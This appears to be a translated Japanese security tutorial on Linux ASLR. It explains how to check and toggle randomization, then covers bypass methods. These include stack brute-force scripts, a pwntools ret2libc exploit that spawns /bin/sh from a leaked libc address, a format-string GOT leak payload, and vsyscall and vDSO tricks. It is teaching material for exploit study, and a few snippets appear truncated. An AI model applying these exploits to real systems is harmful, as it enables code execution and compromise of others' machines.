基本情報
アドレススペースレイアウトランダム化(ASLR)は、オペレーティングシステムで使用されるセキュリティ技術であり、システムおよびアプリケーションプロセスが使用するメモリアドレスをランダム化 します。これにより、特定のプロセスやデータ(スタック、ヒープ、ライブラリなど)の場所を予測することが非常に困難になり、特にバッファオーバーフローなどの特定の種類のエクスプロイトを軽減します。
ASLRステータスの確認
LinuxシステムでASLRステータスを確認 するには、**/proc/sys/kernel/randomize_va_space
**ファイルから値を読み取ります。このファイルに格納されている値は、適用されているASLRのタイプを決定します:
1 : 保守的なランダム化。共有ライブラリ、スタック、mmap()、VDSOページがランダム化されます。
2 : 完全なランダム化。保守的なランダム化によってランダム化される要素に加えて、brk()
を介して管理されるメモリもランダム化されます。
次のコマンドでASLRステータスを確認できます:
Copy cat /proc/sys/kernel/randomize_va_space
ASLRの無効化
ASLRを無効化 するには、/proc/sys/kernel/randomize_va_space
の値を0 に設定します。ASLRを無効にすることは、通常、テストやデバッグシナリオ以外では推奨されていません。以下は、無効化する方法です:
Copy echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
ASLRを無効にするには、次のように実行します:
Copy setarch ` arch ` -R ./bin args
setarch ` uname -m ` -R ./bin args
ASLRの有効化
ASLRを有効化 するには、/proc/sys/kernel/randomize_va_space
ファイルに値2 を書き込むことができます。通常、ルート権限が必要です。完全なランダム化を有効にするには、次のコマンドを使用します:
Copy echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
再起動時の持続性
echo
コマンドで行った変更は一時的であり、再起動時にリセットされます。変更を持続させるには、/etc/sysctl.conf
ファイルを編集し、以下の行を追加または変更する必要があります:
Copy kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
/etc/sysctl.conf
を編集した後、次のコマンドを使用して変更を適用します:
これにより、ASLR設定が再起動時にも維持されます。
バイパス
32ビットの総当たり攻撃
PaXはプロセスのアドレス空間を3つのグループ に分割します:
コードとデータ (初期化されたものと初期化されていないもの):.text
、.data
、および.bss
—> delta_exec
変数に16ビット のエントロピーがあります。この変数は各プロセスでランダムに初期化され、初期アドレスに追加されます。
mmap()
によって割り当てられたメモリ および共有ライブラリ —> 16ビット 、delta_mmap
と呼ばれます。
スタック —> 24ビット 、delta_stack
と呼ばれます。ただし、実際には11ビット (10番目から20番目のバイトを含む)を使用し、16バイト に整列されます —> これにより524,288個の可能な実際のスタックアドレス が得られます。
前述のデータは32ビットシステム向けであり、最終的なエントロピーの削減により、ASLRをバイパスすることが可能になります。攻撃が成功するまで実行を繰り返すことで、ASLRをバイパスすることができます。
総当たり攻撃のアイデア:
シェルコードの前に大きなNOPスレッドをホストするほどのオーバーフローがある場合 、スタック上のアドレスを総当たり攻撃して、フローがNOPスレッドの一部を飛び越える まで続けることができます。
オーバーフローがそれほど大きくなく、攻撃をローカルで実行できる場合は、環境変数にNOPスレッドとシェルコードを追加 することも可能です。
攻撃がローカルである場合、libcのベースアドレスを総当たり攻撃することもできます(32ビットシステム向けに有用)。
Copy for off in range ( 0x b7000000 , 0x b8000000 , 0x 1000 ):
リモートサーバーを攻撃する場合、libc
関数usleep
のアドレスをブルートフォース して、引数として10を渡すことができます。サーバーが応答に10秒追加でかかる ようになったら、この関数のアドレスを見つけたことになります。
64ビットシステムではエントロピーが高く、これは可能ではありません。
64ビットスタックのブルートフォース
環境変数でスタックの大部分を占有し、その後バイナリを何百回/何千回もローカルで悪用しようとすることが可能です。
次のコードは、スタック内のアドレスを選択するだけ で、数百回の実行ごとにそのアドレスには NOP命令が含まれるようになる方法を示しています:
Copy //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main () {
unsigned long long address = 0x ffffff1e7e38 ;
unsigned int* ptr = ( unsigned int* )address;
unsigned int value = * ptr;
printf( "The 4 bytes from address 0xffffff1e7e38: 0x %x \n" , value) ;
return 0 ;
}
Copy import subprocess
import traceback
# Start the process
nop = b "\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int ( 128000 / 4 )
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a' : shellcode_env_var ,
'b' : shellcode_env_var ,
'c' : shellcode_env_var ,
'd' : shellcode_env_var ,
'e' : shellcode_env_var ,
'f' : shellcode_env_var ,
'g' : shellcode_env_var ,
'h' : shellcode_env_var ,
'i' : shellcode_env_var ,
'j' : shellcode_env_var ,
'k' : shellcode_env_var ,
'l' : shellcode_env_var ,
'm' : shellcode_env_var ,
'n' : shellcode_env_var ,
'o' : shellcode_env_var ,
'p' : shellcode_env_var ,
}
cont = 0
while True :
cont += 1
if cont % 10000 == 0 :
break
print (cont, end = "\r" )
# Define the path to your binary
binary_path = './aslr-testing'
try :
process = subprocess . Popen (binary_path, env = env_vars, stdout = subprocess.PIPE, text = True )
output = process . communicate () [ 0 ]
if "0xd5" in str (output):
print ( str (cont) + " -> " + output)
except Exception as e :
print (e)
print (traceback. format_exc ())
pass
ローカル情報 (/proc/[pid]/stat
)
プロセスのファイル /proc/[pid]/stat
は常に誰でも読めるようになっており、以下のような興味深い情報が含まれています:
startcode & endcode : バイナリの TEXT の上と下のアドレス
start_data & end_data : BSS がある上と下のアドレス
kstkesp & kstkeip : 現在の ESP と EIP のアドレス
arg_start & arg_end : cli引数 がある上と下のアドレス
env_start & env_end : 環境変数 がある上と下のアドレス
したがって、攻撃者が悪用されるバイナリと同じコンピュータにいて、このバイナリが生の引数からのオーバーフローを期待していないが、このファイルを読んだ後に作成できる異なる 入力からオーバーフローする 可能性があります。攻撃者はこのファイルからいくつかのアドレスを取得し、それらからオフセットを構築することができます。
リークを持っている
リークが与えられた場合(簡単なCTF課題)、それからオフセットを計算することができます(たとえば、悪用されているシステムで使用されている正確なlibcバージョンを知っていると仮定します)。この例のエクスプロイトは、ここからの例 から抜粋されています(詳細についてはそのページを確認してください)。
Copy from pwn import *
elf = context . binary = ELF ( './vuln-32' )
libc = elf . libc
p = process ()
p . recvuntil ( 'at: ' )
system_leak = int (p. recvline (), 16 )
libc . address = system_leak - libc . sym [ 'system' ]
log . success ( f 'LIBC base: { hex (libc.address) } ' )
payload = flat (
'A' * 32 ,
libc.sym[ 'system' ],
0x 0 , # return address
next (libc. search ( b '/bin/sh' ))
)
p . sendline (payload)
p . interactive ()
バッファオーバーフローを悪用することで、ret2plt を悪用して、libc から関数のアドレスを外部に送信することが可能になります。チェック:
Ret2plt Format Strings Arbitrary Read
ret2plt と同様に、フォーマット文字列の脆弱性を介して任意の読み取りがある場合、libc 関数 のアドレスを GOT から外部に送信することが可能です。次の例はこちらから :
Copy payload = p32 (elf.got[ 'puts' ]) # p64() if 64-bit
payload += b '|'
payload += b '%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload . ljust ( 40 , b 'A' ) # 40 is the offset until you're overwriting the instruction pointer
payload += p32 (elf.symbols[ 'main' ])
以下は、フォーマット文字列の任意読み取りに関する詳細情報を見つけることができます:
Format Strings Ret2ret & Ret2pop
スタック内のアドレスを悪用してASLRをバイパスしようとしてください:
Ret2ret & Reo2pop vsyscall
vsyscall
メカニズムは、特定のシステムコールをユーザースペースで実行することでパフォーマンスを向上させるために役立ちますが、これらは基本的にカーネルの一部です。 vsyscalls の重要な利点は、ASLR (アドレス空間配置ランダム化)の対象外である固定アドレス にあります。この固定性により、攻撃者はアドレスを特定し、それらをエクスプロイトで使用するための情報リークの脆弱性を必要としません。
ただし、ここには非常に興味深いガジェットは見つかりません(たとえば、ret;
の等価物を取得することが可能です)
(次の例とコードはこの解説から です)
たとえば、攻撃者はエクスプロイト内でアドレス 0xffffffffff600800
を使用するかもしれません。ret
命令に直接ジャンプしようとすると、いくつかのガジェットを実行した後に不安定化やクラッシュが発生する可能性がありますが、vsyscall セクションで提供される syscall
の開始地点にジャンプすることで成功する可能性があります。vsyscall アドレスに実行を導く ROP ガジェットを注意深く配置することで、攻撃者はこのエクスプロイトの一部の ASLR をバイパスする必要なしにコード実行を達成できます。
Copy ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
vDSO
したがって、カーネルがCONFIG_COMPAT_VDSOでコンパイルされている場合、vdsoを悪用してASLRをバイパスする可能性がある ことに注意してください。vdsoアドレスはランダム化されません。詳細については、次を確認してください:
Ret2vDSO